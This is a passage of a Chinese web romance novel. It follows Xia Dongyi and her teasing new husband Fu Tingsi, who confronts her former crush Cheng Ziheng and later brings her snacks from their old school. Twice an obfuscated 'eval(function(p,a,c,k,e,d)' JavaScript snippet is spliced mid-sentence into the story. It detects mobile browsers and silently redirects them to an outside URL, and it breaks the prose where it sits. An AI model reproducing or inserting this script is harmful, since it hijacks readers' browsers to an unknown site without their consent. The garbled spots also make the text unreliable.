郁吱吱拉着夏冬意快步走到门外。 布帘再次掀动,晃动着风铃,玻璃拉门被推开,接着重新合上。 郁吱吱的声音同步响起:“你和傅亭斯到底结婚没有啊?他说有,你说没有,我都快搞糊涂了。” 夏冬意扭着被攥红的手,心想着这小妮子手劲还挺大,脸部红心不跳的随口道:“怎么可能呢?” “那刚才是什么情况?” 夏冬意倒也不心虚,反正她和傅亭斯离婚是迟早的事,况且这婚姻有名无实,闹着玩呢。 她也并没有觉得是欺骗行为。她本身就是那么想的。 “我就是为了配合他,不可能拆他台吧。反正也不会少块肉。” “啊啊啊啊我心软又善良的咚咚。”郁吱吱替傅亭斯感动的稀里哗啦,抱着夏冬意猛亲了几口。 夏冬意往后仰了仰头,嘴里乱七八糟嚷着:“别亲嘴别亲嘴,我的初吻要留着给我最爱的男人。” 郁吱吱噗嗤一声乐了:“你最爱的男人不会还在上幼儿园吧。” 夏冬意推开她的脑袋,郁闷的说道:“怎么可能,我可不喜欢小奶狗。我要找就要找年龄比我大的,又温柔又体贴,年纪比我小的,不行不行,太幼稚了,我喜欢成熟款的。” 郁吱吱歪着头打量她。 夏冬意被看的发毛:“你干嘛?” 郁吱吱不怀好意笑道:“你的心上人,该不会是程学长吧?” 按理说,夏冬意该震动的。 凡是被戳破了心事的人,都会有的反应。 是天生迟钝,还是其他她自己暂且都搞不清楚的原因。 夏冬意一丁点感觉也没有。 只是好奇,傅亭斯神神秘秘的,搞什么?他和程子衡能有什么天好聊的? 夏冬意看了看时间,快上班了,朝玻璃窗里望了望,坐在角落的两人被一棵高大的绿植遮挡着,什么也看不到。 “你先走吧。”她这么跟郁吱吱说着。 郁吱吱见她一动不动的,问:“那你呢?” “我晚点再到,你帮我请个假。”夏冬意心不在焉地说道。 “那我先走了,”郁吱吱不放心地看两眼她,“你快点啊,请假最多两个小时。” “嗯嗯。”夏冬意有口无心地挥挥她,“知道了,你快去吧,别迟到了。” 郁吱吱走后,夏冬意拿起她放在桌上的《悟空传》,后背垫在抱枕上,无聊地翻了翻。 夏冬意托着脑袋。一看书她就头晕,连打几个哈欠,把书合上。目光毫无焦距地投向人来车往的大街上。 思绪飘远了出去。 那时候程子衡有多火呢? 夏冬意记得,她作为新生进校园的第一天就听说了二年D班的程子衡,顶着一张帅脸,不仅学习好,能力出众,还是校合奏团的领唱。 毫不夸张的说,当年班上,十个女生中至少有九个暗恋他。 夏冬意被同班女生拉到二年D班,在被围得水泄不通的拥堵人群缝隙中,一眼就注意到站在教室后排,正和同学聊天的那个高个子清瘦男生。应该就是她们说的程子衡吧。 “长得也还行。”这是夏冬意回答同学的原话。 她见程子衡的第一眼,并没有太多的感觉。 也许是出于好奇,喜欢是一种什么感觉,夏冬意从来没有体会过。 又也许是既然已经和傅亭斯夸下海口,碍于面子,不想轻言放弃。 于是,夏冬意竟认认真真地喜欢起程子衡来。 渐渐地,她还真对程子衡有了暗恋的感觉。 以至于到后来,连她自己都分不清,对程子衡的喜欢到底是出于什么情感的由来。 假使这只是她单方面的一头脑热,夏冬意是绝没有那么好的耐心。程子衡时不时释放的暧昧信号,为她编制这场盛大的白日梦,提供了养分。 夏冬意仍记得那个夏天,听闻他不再参加高考,而是直接出国的消息。她甚至也起了想要出国的心念。 然而,这一切在亲眼目睹程子衡在昏暗的楼道口,和她高三的学姐拥吻的画面之后,全都支离破碎。 那天晚上,夏冬意冷着脸,毫不迟疑地将程子衡从Q,Q列表上彻底删除。 再后来,程子衡出国了,她的生活再度恢复平静。 对感情,她变得愈发的麻木,像在心的外衣上结满了茧子,不再触碰。也不再对任何人轻易的心动。 时过境迁,十年以后再回头去看。即便是如今见到程子衡,她并没有太大的感触,甚至连他的模样,也沉入时间滔滔之中,早已变得模糊。 想来那时候还是太年轻,暗恋也本就是她一个人的事情,与程子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14223381|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衡何干呢? 也许,曾经他给过她什么信号,但那都不是承诺,当不了真。是她自己的一厢情愿。 在删掉他的联系方式的那一瞬,起过的那一点情绪,到后来也了无痕迹了。 夏冬意温温的性格,三分钟的热度,让她长时间记得一个人的不好,记住那种悲伤的心情,是很难的。 如果真的有什么遗憾,也不过是遗憾那段青春岁月里有些傻气的自己。 但那已经发生过了,也改变不了什么。 可试想想,如果没有程子衡,她可能连喜欢一个人是什么感觉也不知道吧。 所以还是要感谢程子衡,让她的青春有了和别人一样的色彩。 春日和煦的洒落在身上,夏冬意抬高手臂,伸着懒腰,手臂慢慢往下落的时候,那姿势像是在拥抱明媚的阳光。 她的目光再次落回窗户里。 傅亭斯怎么还不出来? 再不出来,她可就要走了。 — 程子衡看了眼被随意扔在桌上的墨镜,他的身影倒映在锃亮的镜片上,光影和品质都是上乘,一如傅少爷的派头。 程子衡不动声色地微扬了扬眉头,合上手边的书卷,起身之前问道:“喝什么?” 傅亭斯全无拘束地靠坐在夏冬意的椅子上,双腿交叠着,语气散漫:“我不是来喝茶的。” 程子衡沉默了一下:“我这没有茶,只有咖啡。” 傅亭斯掀起眼皮,目光指了指座位。 程子衡迟疑了下。 傅亭斯徐徐抬起眸光,进来以后第一次认真打量了他。 程子衡还是和以前那样,看起来没有任何的脾气。面庞柔和,没有锋利的线条,自带书卷气,温柔没有任何的攻击性,也只是看起来而已。 程子衡就像一块没有棱角的玉石,外表看着温润,内里却是冷的。 傅亭斯则相反。他五官精致,浓颜锐利,做派高调,自带锋芒。 磁场和频道不同的两个人,注定走不到一起。 如果不是因为夏冬意喜欢,傅亭斯连看多看一眼的兴趣都无。 读书的时候,傅亭斯就搞不明白,也试图研究过程子衡的行为学——夏冬意到底喜欢他什么? 答案是无解。 傅亭斯就是傅亭斯,他可以是温柔的傅亭斯,也可以是善解人意的傅亭斯,甚至可以是带着暖男属性的傅亭斯,但他注定没办法变成另一个程子衡。 视线短暂相交后,程子衡最终还是坐下。 “让你误会,我很抱歉。”斟酌了下,程子衡说道:“我对咚咚,没有那个意思。” 不难听出,这话的另一层意思是指,傅亭斯太敏感。 傅亭斯抬眸瞥他,视线凌厉,忽而,他讥笑出声:“挺有意思的,程子衡,你自己心里怎么想的,自己最清楚。” 程子衡无言。 傅亭斯捏起墨镜腿,有一下没一下地轻敲在桌面上,目光闲散地落在程子衡身上。 “要是我今天不来,你是不是准备继续故技重施?也就夏咚咚这个傻子,看不清你,还以为你跟外表一样纯良无害。” 傅亭斯没有给程子衡半点面子,他的这张嘴,不开口还好,只要一开口,字字见锋,刀刀见血。直戳人肺管子。 程子衡还是那般温驯的模样,话锋却陡然尖利:“我应该去年一回国就来找她的,还是让你快了一步。” 傅亭斯想起了那些年,低声道:“你要是真喜欢她,还能有我什么事?” 夏冬意的人生,以十七岁为节点,此前和此后都是明媚光明,没有灰败。而十七岁那一年,她人生中第一场感情以失败告终。没有打击到是不可能的。 而后一年,高考失利,她选择复读一年。原本打算大一出国的傅亭斯硬是留在国内,陪她苦熬了一年。 你问他为什么这么厌恶程子衡,这就是原因。 傅亭斯小气,自私,小心眼,但在夏冬意的事情上,他绝不含糊,程子衡也不完全无辜。 顿了顿。傅亭斯接着说:“你选了这个路段的商铺,又叫这个店名,不会真以为我会傻到认为这都是巧合?十年前你没有选择她的理由,不就是因为你那时的女友能资助你出国吗?后来女友家破产,没有了利用价值,一脚把人踹掉,这种恶心事你都做得出来啊。” 程子衡表情一怔:“你……” “我怎么知道?”傅亭斯拿起夏冬意喝过的杯子,在手里转了半圈,垂着眼浅勾唇角:“江市才多大点的地方,你的事我早就打听过了。以你普通的家境,出国哪能那么容易,就只能靠地下女友了,可惜了那个女孩儿,傻兮兮的以为你会娶她。当然,这种事,我不会告诉咚咚的。” “你知道为什么吗——”傅亭斯沉吟了下,像是想起了什么,语气也变得温柔了下去。 “我不想毁掉咚咚对美好青春的回忆。知道自己喜欢上的是这么差劲的人,她会多痛苦。我不想让她痛苦,因为看到她痛苦,我也会无比痛苦。” 抬眸看向脸色铁青的程子衡,傅亭斯咧开一个玩味的笑意,变了语调:“我从来没有嫉妒过你,因为你从来没有赢过,也不可能赢。自始至终,陪在她身边的人都是我。” 说着,傅亭斯站了起来,低下头,居高临下地望着程子衡,一字一顿,缓缓说道:“也只能是我。” 22. 小狗不听话 夏冬意快要等睡着,终于看到玻璃窗里人影晃动。角落的那个位置有人站起来。 她费力地睁大因困顿而打架的眼皮,只通过一眼,轻易辨认,那是傅亭斯。 即便是人多的时候,在人群中精准认出傅亭斯,不是太难。一来他个子太高,二来实在是熟。关键在于,这人高调又骚气,连走路都能走出身后一堆保镖的架势。 能不好认。 夏冬意注意到,那颀长的身影到了门口,修长的手按在门把上,却不动了。转头像在说着什么话。 隔得不近,周边又是繁闹的街市,听不到内容。 夏冬意困顿萎靡,掩嘴打了个哈欠。 这人是不是有什么拖延症啊,出个门还婆婆妈妈搞半天。 — 傅亭斯转回头,推开玻璃门,动作顿了顿。 夏冬意还没走,手边放着本书,托着下巴,眼皮耷拉着,看得出来她很勉力在强撑,效果却不尽人意。 心里没来由地泛起轻盈的愉悦感。傅亭斯微勾了勾唇角,悄无声息地走到夏冬意的身边,停了一下,见她没有反应,冷不丁开口道:“我太感动了。” 夏冬意猛地惊醒,猝不及防中,带着心有余悸,抬头看他的神色,惶恐不安。做了一场噩梦,回到读书时期,上课开小差,被老师抓包。 “傅亭斯,你有毛病啊!大白天的,你出来吓什么人。”夏冬意敛了神色,一拍桌子站起来。 刚刚的窘态,还留在他眼底。傅亭斯翘着嘴角,身体挨向她,说悄悄话似的耳语:“你见过长得这么帅的鬼?” “……” 天啊,谁来救救她啊。 夏冬意十分后悔在这里等他,转身说道:“我走了。” 被傅亭斯拉了回去,目光清澈无比地望着她说:“你不是在等我,怎么看到我就走?” “鬼才等你。”夏冬意翻翻白眼。 傅亭斯露出真挚的微笑:“正好,我就是鬼。” “……” 夏冬意握紧了拳头,过了半秒,重新松开,微笑道:“你真的不去医院看看神经科吗?这里八成有问题。” 夏冬意指了指脑袋,同时嘴角的笑容消失,再次走人。 傅亭斯双手插着口袋,懒散地跟在她身后:“真的没等我?” 他还真执着上了。夏冬意略微停了下脚步,对他说道:“我为了等你,上班迟到,觉得可能吗?而且你那张嘴巴,几时吃过亏,我是比较担心程子衡,才这里等他的,结果你倒好先出来了。” 在她话音落下的那个瞬间,傅亭斯眼睛里一秒闪过好几种情绪,搭配着他的肢体动作,给人一种极端做作的感觉。他先是微微的不可思议,随即,心痛,委屈,受伤,可怜,紧接着,在大街上,捂住心口,低弱的呻吟:“嘶——” 夏冬意简直没眼看。 整理好心情,她平淡无波问道:“你在干嘛?” 傅亭斯放下了手,用疑惑的语气说道:“没看出来为夫心碎了。” “……” 苍天啊,大地啊。 夏冬意抱住头。 她到底犯了什么罪,要受到这样的惩罚。 夏冬意深呼吸一口气,再度平复心情,语气平静:“真为你的精神状态担忧。” “哦,有人来了。”夏冬意提醒道。 傅亭斯一秒切换成是生人勿近的高冷模样。中间毫无过渡,丝滑至极。 行人走过后,傅亭斯转头说道:“不要以为你那样说,我就会生气。” “哈哈哈哈哈哈。”夏冬意绷不住大笑。 傅亭斯没有在意她的嘲笑,继续认真说道:“你惹怒不了我一点。” “哈哈哈哈哈哈,哈哈哈哈哈。”夏冬意笑得上气不接下气,抬手去扶傅亭斯的肩膀。 傅亭斯一边弯腰,配合她的动作,一边问:“刚才的表现,你给我打几分?” 夏冬意擦掉夺眶而出的泪花,“啊?”了一声,不解地抬头望向他:“打什么分?” “如果满分是一百分的话,为夫的表现,怎么着也得两百分起步。”傅亭斯自说自话,自言自语。 “……” 最后,夏冬意实在忍不住,说了一句:“您可真爱演。” 丢下傅亭斯,扬长而去。 — 夏冬意百思不得其解,十分郁闷又震惊无比。 她觉得自己对傅亭斯的了解,不足万分之一。 知道他骚包,竟没想到能骚包到这种地步。 关键是,那还是在大街上。 他那么爱装逼,还死爱面子的人,竟然在大街上做出这样的行为来。 想不明白啊想,想不明白。 手机震动个不停,夏冬意拿起扫了眼。 大学宿舍群里,前面聊了99+的消息,夏冬意懒得往上拉,就看到最下面那条。 可爱的宁宁:[哭了,咚咚吃的太好了吧] 什么东西? 夏冬意带着疑惑,往前翻了两下。 看到她们聊的内容与程子衡还有傅亭斯有关系。孙苒宁的同事是十七中毕业的,说傅亭斯那以前可是出了名的,竟然有人说傅亭斯丑,他们那届以及往后几届,随便十七中找个人打听一下,也说不出这种话来。 程子衡已经在夏冬意的朋友圈里火了,郁吱吱在翻看评论的时候,发现程子衡竟然是以前三中的校草。 于是群里另外三人开大会齐声“痛斥”夏冬意私藏“好东西”的行为。 夏冬意那个冤啊。 她也是第一次,从别人的视角,客观了解到傅亭斯那骚包,这么受到欢迎。 十七中和三中距离不近,夏冬意的朋友圈里没有十七中的校友,大多数时候都是听傅亭斯自己说的,她也都当是他在自吹自擂。 更何况,她本身对傅亭斯并没有那层滤镜加持。 是很难体会的。也想象不到。 至于程子衡,要怪也怪她消息滞后,今天才知道那家很火的咖啡店老板,是大名鼎鼎的程学长。 解释起来太麻烦。也不知道从何说起。夏冬意是个很怕麻烦的人,索性就当没看见,自动掠过了那些内容。 之后,夏冬意工作了一个多小时。下午的时间过得很快,等到忙完,转眼就要下班了。夏冬意起身去茶水间给自己冲了一杯速溶咖啡,往回走的时候,忽然间脑海中划过一个画面。 刚刚傅亭斯出来的时候,就想问他的。由于他的骚包行为,成功让她忘记了这回事。 现在又突然想 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所以他的意思就是,“夏冬意”这个商标就只能傅亭斯用。 夏冬意再一次感叹,她给傅亭斯取的这个备注名,和他本人百分之一百的相匹配。 善良的咚咚:[……] [你可以更恶心一点] 不要脸的狗:[我去接你下班,一起吃饭] 夏冬意想了想下班后的安排,没有特别的,刚要答应,马上想到了另一件事。 善良的咚咚:[哦,今天傅少爷怎么不去酒吧了呢] 不要脸的狗:[没办法,毕竟我老婆今晚要陪我呢] 呵呵,还学她的话。 夏冬意发现,自己光顾着和傅亭斯聊天,咖啡都没喝一口。 忙把咖啡杯拿过来,喝了小半杯。 随后打字。 善良的咚咚:[真遗憾哦,有了老婆就没得自由,要金盆洗手了,傅少爷,真为你感到可悲,要不然你俩还是离婚吧。] 不要脸的狗:[你可别诋毁我,我可是为了我老婆守身如玉二十八年,我干净着呢] 接着还发来一个小狗哼哼的表情。 夏冬意握着手机,闷头轻笑,两只肩膀轻轻颤动着。 要不是因为在上班,她保准仰天大笑起来。 这会儿实实足足把她憋成内伤。 滴滴—— 手机在手心里震动了一下。 夏冬意抬起一双潮湿的眼睛。看到傅亭斯新发来的信息。 不要脸的狗:[今晚要不要验身?] 夏冬意慢慢睁大了眼睛。 接着,眼睁睁看到对方把这条信息撤了回去。 夏冬意大脑还没反应过来怎么回事。 然后就看到一条最新的消息。 [我知道你觊觎我美好的肉.体很久了,晚上可以给你摸一摸,哥的腹肌。] 夏冬意眨了眨眼。 紧接着,又是一条。 [别人我不给的。] 23. 小狗不听话 医院等候室里,傅停斯躬身坐椅子上,双手握着手机,肘臂撑大腿上,等夏冬意回复消息。 张远航拿着检查报告单,穿过人声嘈杂的走廊,由远及近,直到停在傅亭斯面前:“你身上的红疹,应该是毛发过敏。” 张远航是傅亭斯的高中同学,去年读完博士回国,在这家医院工作。昨晚开始,傅亭斯身上长出一些小红疹,联系张远航问了问情况。张远航让他今天抽个时间上医院做个检查。 傅亭斯接过报告单,垂眸扫了扫,毫无意外地挑了挑眉。 张远航见他没有什么反应,继续说道:“你家里养宠物的话,一般情况下,由于对毛发过敏,导致接触到含有毛发的空气,或者直接接触到动物毛发,而出现类似红肿,起疹子,类似荨麻疹的症状。还好你这还不算严重,回去涂一下药膏,为杜绝下次再有相似的情况发生,最好把宠物送走吧。” 傅亭斯站起身,单手抄进兜里,漫不经心地轻嗯了声。 张远航拍了拍他肩膀:“你怎么自己毛发过敏,自己都不知道啊?你家那宠物不能再养了啊,千万别小看了过敏这件事。” 傅亭斯点了点头,没有多说什么。 看完诊,拿了药,傅亭斯离开医院之前,顺手拍了张医院大厅的照片,发给夏冬意。 走到停车位,站在车边,正要伸手打开车门时,他顿了顿动作。 视线低垂,扫到手里装满药的袋子,似乎在提醒着他什么。 从小到大,傅亭斯就只养过一条拉布拉多犬,七岁那年生日,爸爸牵回来给他当生日礼物的。那是傅亭斯第一条狗,他做梦都想要养一条属于自己的狗。可还没等到他给小狗取一个好听的名字,当晚他因为全身起红疹被送往了医院。 检查结果是,毛发过敏。 于是父母连夜将小狗送走了。从此以后,傅亭斯成了宠物绝缘体。家里再也没有出现过任何一只宠物,直到昨天,在他和夏冬意结婚的第二天。 和他一样,夏冬意也从来没有拥有过自己的宠物,小猫,小狗,小兔子,亦或是小鸟。她只在很小的时候,养过几条小金鱼。小金鱼在一次喂食中,被撑死以后,夏冬意懊悔极了,从此就没再养过任何小动物。但她这人矛盾的很,每回在路上碰到流浪的猫猫狗狗,又会忍不住地想要靠近,可又不敢真正地靠近它们,只是远远地看着它们,然后拍下照片发给傅亭斯,告诉他,自己又偶遇了很可爱的小猫或者小狗。 傅亭斯哪能不清楚,她的小心翼翼背后,实则是害怕悲剧再度发生。喜欢,却担心自己照顾不好它们,索性选择不去接近,不去触碰。 傅亭斯则相反,他一直想养一条真正属于自己的小狗,也多次和父母提及,奈何这个要求,父母是无论如何都不肯答应的。他便暗下决心,有朝一日,他一定要那样做。 过敏的问题,他从来没太放在心上。 那时候在国外,是想养的,但想到日后总要回来的,带回国要办一系列的手续,空运也有一定的风险,没再做他想。回国后的几年,从家里搬出来,父母管不了他,养条狗不成问题,因为没遇到特别合眼缘的,再加上工作生活太忙,这事也就搁置了。 傅小狗不知怎么进的他院子,浑身脏兮兮的小团子,楚楚可怜地窝在小角落里,一双黑亮的眼睛出奇的大。傅亭斯莫名就想到了夏冬意。 这是一份突然闯入的礼物,像一个恰到好处的机遇,在这个万物生发的春天,是特殊的缘分。他确定无比,夏冬意会喜欢。 至于他自己是否会因为接触到毛发而过敏,这个问题,他压根没有考虑到。 只要一想到,她在收到这份礼物的时候,又惊讶又开心的模样,傅亭斯就根本管不了那么多。 送走傅小狗,那是不可能的。 — 收到傅亭斯要让她摸腹肌的信息后,夏冬意陷入了难言的沉默。 傅亭斯这人有多骚? 答案是,说有多骚就有多骚。 所以,夏冬意毫无意外,他会把这种话说得如同家常便饭那么寻常。 别人眼里的傅亭斯,确实是大帅哥的形象:肩宽腿长腰细,模特一样的身材,举手投足都带着范儿,搭配话不多的性格,慵懒散漫的模样,对女孩子来说是绝杀。 如果真实的他也是如此,那一定是魅力四射。事实是,傅亭斯私底下真骚得没边。他那种骚倒也不是明面上理解的“娘娘腔”,就是原本他这个性格想象不到会说的话,会做的事,被他一本正经说出来或者做出来,那种大跌眼镜的反差感。让人措手不及。 不知道是因为他的外在条件加持,还是因为他身上那种落落大方感,并不存在什么油腻感。反而觉得这人有点淡淡的幽默感。 或许也有可能,是夏冬意实在太习惯了这样的傅亭斯。对于他的某些反常的举动和行为,已经形成了天然的免疫。 所以他的这条信息,她也当熟视无睹地选择掠过了。刚好这时候通知各部门线上开会,等到夏冬意开完会切出画面的时候,发现傅亭斯又给她发了条新的信息。 夏冬意拿着水杯和手机,走进茶水间倒水,一边打开消息查看。 “嗨。”身边有同事经过,随口打声招呼。继续低下头,点开大图。 是一张医院大厅的照片。 夏冬意稍一楞。 “在看什么呢,笑这么开心?” 肩膀后面传来一个声音,把夏冬意吓了一跳。 郁吱吱趴在她肩膀上,探头探脑地朝她的手机屏幕上瞅着,一字一顿,慢慢念出备注的名字:“不要脸的狗,谁啊,这么不要脸?” 惊吓并没有持续太久,夏冬意转过头,清澈的眼神里还带着点儿工作太久露出来的,视线无法定焦的迷茫。 郁吱吱坏笑道:“哦。我知道了,是傅亭斯对吧?” 夏冬意慢慢收起飘散的注意力,垂头回信息,顺嘴轻轻啊了一声。 耳边,郁吱吱解释说:“在你眼里,除了傅亭斯这条狗,还有谁是狗?” 听到郁吱吱把他的名字和狗放在一起,夏冬意微不可察地皱了皱眉心,老实说,她不喜欢别人喊他狗,因为他只能是她的狗,只能她喊。 这话,以前也对傅亭斯说过。 是什么时候呢?夏冬意想不起来了,但她记得另外一件事。 夏冬意边回忆着。边将字打完:[真去看脑子了?医生怎么说的?] 依稀记得,那是初一还不知道是初二的夏天傍晚,学校上完下午最后一节课,夏冬意和傅亭斯快速跑回教室收拾东西,晚上两家约一块聚餐,这会儿父母都在校门口等他俩。 夏冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14361365|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意动作慢,东西也不少,往书包里装着,傅亭斯就靠在教室的走廊上等她。有自持和她关系不错的女生挨近过来,开着玩笑说,你动作快点啊,傅狗在等你诶。 对方的语气让人微微的有点不舒服。那女生和傅亭斯压根不熟,除了夏冬意有事没事爱叫他狗,班上没有人这样喊他。这也是他俩私底下的称谓,夏冬意从小就这么叫他,傅亭斯也习以为常了。 所以当有别人也这么喊他,而且还一副和他很熟的样子,把她排除在外的架势,夏冬意轻轻蹙起眉心。 她不动声色地停下动作,倒也没有太大的反应,而是轻轻地说道:“你和他很熟吗?” 女生愣住。 夏冬意嘴角一翘,什么也没说,拎起书包走了出去。 当时她的心情一定是不爽的,虽然她觉得自己掩饰得还挺好,也不知傅亭斯是怎么发现的,本来还在跟别班男生勾肩搭背不知聊些什么的人,在她出来以后,偏头打量着她的表情,见她没理会自己,在她眼前挥了挥手:“发生什么事了,脸这么臭?” 夏冬意拍开他的手,本来就挺烦的,这会儿更烦了。自顾自地往前走,傅亭斯很快追上来,两人都没有说话。快走到楼梯口的时候,傅亭斯慢下脚步,喊住她:“喂,夏咚咚。” 夏冬意回过头。 “你书包重不重?” “啊?” 下一秒,少年长腿迈开,快步走上前,没等她反应过来,将书包从她肩膀上摘下来,夏冬意以为他是好心帮忙拎书包,就乖乖让他顺走了。 谁知道,他拿了书包就跑,边跑边回头喊她:“要不要?不要我扔了。” 夏冬意彻底反应过来,气得她拔足狂追。 那天后来,让她心情不快的真正的原因,反而淡忘了,只留下傅亭斯抢了她的书包,两人在校园里追逐的身影。 夏冬意嘴角勾起淡淡的笑容。 手心一震。 一条新的信息进来了。 来自不要脸的狗。 [医生说按时吃药,问题不大。就是要委屈我老婆,因为病人需要特殊照顾。] 夏冬意满头问号。 不是。 傅亭斯这狗,他怎么什么垃圾梗都能接下去的啊。 关键是,他还真去了医院。 拜托,她只是随口说说而已。 这人太有毛病了吧。 但论心说,夏冬意还是有些感动的。 至于为什么感动,她自己也说不明白。 但夏冬意直觉有些不对劲。 傅亭斯什么时候变得这么……不让她讨厌了? 夏冬意盯着信息的最后半句话,陷入了短暂的沉思。 忽然她醒悟过来。 醒悟过来的夏冬意快速打字。 善良的咚咚:[这就是你的计策吧,让我感动,然后趁机占我便宜!] 这条信息发出去的时候,夏冬意还在想,呵呵,想套路我,那不可能,傅亭斯你这条狗的属性,我还会不了解。霍霍别人还有可能,霍霍我,那是绝对不存在。 没过多久,夏冬意收到了连续的三条回复。 [说明你还是感动。] [你能感动,我心满意足了。] [老婆,我下半辈子的幸福就靠你了。] 24. 小狗不听话 看到第二条消息。 傅亭斯说,她的感动,让他心满意足? 夏冬意充满意外地挑了挑眉。 这人……他没事吧? 虽然这么想着,夏冬意还是没忘记,第一眼看到这句话时,心里涌起的异样感。 讲不出来是什么感受。 挺陌生的。 就是觉得,这样的傅亭斯挺让人惊讶和陌生的。 接着,当第三条信息跳进她眼帘的时候。 夏冬意嘴角轻扯出一抹冷笑。 原来在这边等着她呢。 这个诡计多端的男人。 说到底还是想占她便宜。 这才是那个让她熟悉万分的傅亭斯啊。 夏冬意反而安心多了。 收起嘴角的淡笑,和郁吱吱闲扯了几句后,夏冬意将手机往手心一揣,接完水,离开茶水间。 夏冬意的工作,忙的时候忙,空的时候也清闲。刚落座,电脑上,微信的图标跳动着,点开看,是她发过去的初稿,甲方提出的更改思路。夏冬意着手忙碌起来。 这一忙就忙到下班,身边的同事都打卡走了,夏冬意手头还有一点内容没弄完,加了半个小时的班。手机响了。她看一眼时间,想起还没吃晚饭,考虑是叫个外卖还是出去吃,顺手划开按键接听。 由于心思放在吃上面,没来得及瞅眼来电显示,听到对方声音的时候,她还怔了怔。 是傅亭斯,背景音很静,他声音很低,带着两人私下说话时的亲昵感,透过电流传进耳朵,微微的失真感。 但夏冬意仍是马上认出了那是他的声音。 她认识的人当中,也就只有傅亭斯的语气,有他独特的味道在。 散漫中,透着些许的漫不经意。 “还没下班啊?”他问。 夏冬意判断他应该是在车上,她一边拆开中午吃剩下的面包,往嘴里塞了片。依稀想起白天他说要来接她下班,随口说道:“你该不会等到我现在?” 她吃着东西说话,声音含含糊糊的。透着随性。 也没想过得到肯定的答复。预料之外的,听到对方含笑轻嗯了声。 夏冬意停了下咀嚼的动作,接着,耳边的男声说道:“感动么?” 有那么一个刹那,夏冬意的心像是被狙击中了。 傅亭斯总能精准地猜到她在想什么。 更要命的是,知道也就算了,还非得说出来。 夏冬意忽略掉刚刚那一瞬的狙击感,快速跳过这个话题,问他:“你吃过晚饭没?” “你想吃什么?” “什么啊,我就是不知道吃什么才问你的。”夏冬意转着手里的笔,“你要不要现在去吃,把你吃的给我打包一份一样的带回来给我。” “不跟我一块?” “我还要忙一会儿。” 傅亭斯短暂停顿了几秒,似乎在考虑着什么,而后说了声“好”。 “嗯,挂了。” 夏冬意把手机一扔,伸个懒腰,继续投入工作。 全世界的甲方都是魔鬼,变态! 从来不把要求说的清清楚楚,就一个大概,一个好像,这样的构思,只可意会不可言传,让人猜猜猜。 能碰上一二三四五六七都列清楚要求的甲方,简直就是要烧香拜佛磕头下跪的程度了。 夏冬意心里骂骂咧咧,表面上还是客气有礼,和对方交涉着。 一下午加晚上的时间,她都在改改改,修修修,内心的崩溃可想而知。 傅亭斯好巧不巧,正赶上她火气最大的时候进来。 还没离开的同事看到傅亭斯,眼睛亮了一亮,见他径自走去夏冬意身旁,不免八卦问:“咚咚,这你男朋友吗?” 夏冬意烦着,随口嗯了声。 随后,夏冬意愣了一下。 惊讶于自己竟然这么顺口地应了下来。 他俩现在关系还挺复杂,解释起来相当麻烦。 算了。她默默在心里说,不想多做解释。她淡淡扫到傅亭斯,他唇角轻扬,看上去心情不错。 夏冬意垂下眼,装没注意他。 眼帘里出现了一双修长白皙的手,夏冬意长时间盯着屏幕,视线茫然地定在那只手上,出神,而后,像是被蛊惑到似的,顺着骨节分明的手指,往上,是一段肌肉线条流畅的小臂,再接着,她发现自己正抬着头,盯着傅亭斯发呆。 大脑空白的思绪,慢慢和这一秒接上轨。 不等她移开视线。 傅亭斯拽过身后的椅子,在她旁边坐下,垂头的时候,额前的刘海挡住视线,他漫不经心的开口:“这么看着我干什么?” 看他做什么? 夏冬意自己都没想明白这个问题呢。假装淡定无比,直勾勾地望着他,平板无波吐出三个字:“看你帅。” “真的啊?”傅亭斯弯腰坐下之前,看了眼她,语气是笑着的:“有多帅?” 夏冬意扯开打包袋的动作暂停,从抽屉里翻出一面小镜子,镜面朝前,举到傅亭斯面前:“瞅瞅你自己的鬼样子就知道了。” 傅亭斯接过,夏冬意继续扯着袋子,顺嘴问道:“你给我带了什么啊?” 旁边没声。 夏冬意余光轻扫。 傅亭斯对着镜子,不同角度欣赏着他的那张脸,像是发现了夏冬意的视线,他也不看她,看着镜子里的自己,轻叹:“真帅啊。” 还好夏冬意没吃东西,要不然直接就吐他脸上去了。 她故意假装没听见,打开包装盒,一股扑鼻的香味,夏冬意眉心舒展,连连惊喜地哇了一声。 “我最爱王大叔炒面店的的炒河粉!你去学校门口买的?” 说着,夏冬意拆开筷子,夹了一大筷塞嘴里。还是过去熟悉的味道,好吃的她想流眼泪。 “这还有,糯米豆沙饼,糖炒栗子,和你最喜欢的,手工冰柠茶。”傅亭斯将另外一个袋子递过来。 这几样吃的,他不用说,夏冬意也知道是哪儿买的。就在他们初中学校门口,直到上大学那会儿,夏冬意还会横跨半个江市,特地跑去那里买吃的。 不仅仅是因为,它们承载着她美好的青春记忆,最最最重要的是,真的好吃。 巨好吃。 “我以为那家糖炒栗子店已经关门了,没想到还开着啊?”夏冬意一口炒河粉,一口柠檬茶,吃的满嘴停不下来。 傅亭斯打开糖炒栗子的包装袋,戴上送的一次性塑料手套,拇指和食指夹住一颗,轻轻一捏,栗子壳啵的声,破了道口,垂着眼,慢条斯理地剥着。 “现在开在华商路那边。” 夏冬意楞了下。 初中母校和华商路距离很远,学校在城东,华商路在城中。 她仰头喝了口柠檬茶,间隙,扫他一眼。 “你特地去华商路买来的?” 傅亭斯剥完了一颗栗子,放进夏冬意饭盒里, 